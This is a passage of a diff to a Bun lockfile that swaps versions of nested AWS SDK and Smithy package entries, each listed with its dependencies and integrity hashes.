- "@aws-sdk/client-s3/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0" } }, "sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw=="],
-
- "@aws-sdk/client-s3/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
-
- "@aws-sdk/client-s3/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
-
- "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="],
-
- "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
-
- "@aws-sdk/client-s3/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ=="],
-
- "@aws-sdk/client-s3/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
-
- "@aws-sdk/client-s3/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
-
- "@aws-sdk/client-s3/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
-
- "@aws-sdk/client-s3/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0" } }, "sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw=="],
+ "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
"@aws-sdk/client-sso-oidc/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@4.1.0", "", { "dependencies": { "@smithy/is-array-buffer": "^3.0.0", "@smithy/protocol-http": "^4.1.0", "@smithy/types": "^3.3.0", "@smithy/util-hex-encoding": "^3.0.0", "@smithy/util-middleware": "^3.0.3", "@smithy/util-uri-escape": "^3.0.0", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-aRryp2XNZeRcOtuJoxjydO6QTaVhxx/vjaR+gx7ZjaFgrgPRyZ3HCTbfwqYj6ZWEBHkCSUfcaymKPURaByukag=="],
@@ -7137,282 +6589,104 @@
"@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@3.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-rUeT12bxFnplYDe815GXbq/oixEGHfRFFtcTF3YdDi/JaENIM6aSYYLJydG83UNzLXeRI5K8abYd/8Sp/QM0kA=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
+
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
+
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
+
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
+
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
+
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
+
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
+
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
+
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-BoGO6IIWrLyLxQG6txJw6RT2urmbtlwfggapNCrNPyYjlXpzTSJhBYjndg7TpDATFd0SXL0zm8y/tXsUXNkdYQ=="],
+
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.758.0", "", { "dependencies": { "@aws-sdk/nested-clients": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/property-provider": "^4.0.1", "@smithy/shared-ini-file-loader": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-ckptN1tNrIfQUaGWm/ayW1ddG+imbKN7HHhjFdS4VfItsP0QQOB0+Ov+tpgb4MoNR4JaUghMIVStjIeHN2ks1w=="],
+
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
+
"@aws-sdk/credential-providers/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="],
- "@aws-sdk/middleware-bucket-endpoint/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@aws-sdk/middleware-websocket/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
- "@aws-sdk/middleware-bucket-endpoint/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.10", "", { "dependencies": { "@smithy/types": "^4.13.0", "fast-xml-parser": "5.4.1", "tslib": "^2.6.2" } }, "sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA=="],
+ "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/core": ["@smithy/core@3.23.9", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.12", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "@smithy/uuid": "^1.1.2", "tslib": "^2.6.2" } }, "sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ=="],
+ "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.11", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.2", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-uri-escape": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ=="],
+ "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.12.3", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-endpoint": "^4.4.23", "@smithy/middleware-stack": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.17", "tslib": "^2.6.2" } }, "sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw=="],
+ "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@aws-sdk/nested-clients/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.13", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "tslib": "^2.6.2" } }, "sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ=="],
+ "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.14", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A=="],
+ "@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/middleware-sdk-s3/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.10", "", { "dependencies": { "@smithy/types": "^4.13.0", "fast-xml-parser": "5.4.1", "tslib": "^2.6.2" } }, "sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA=="],
+ "@aws-sdk/nested-clients/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
- "@aws-sdk/middleware-sdk-s3/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="],
+ "@aws-sdk/nested-clients/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
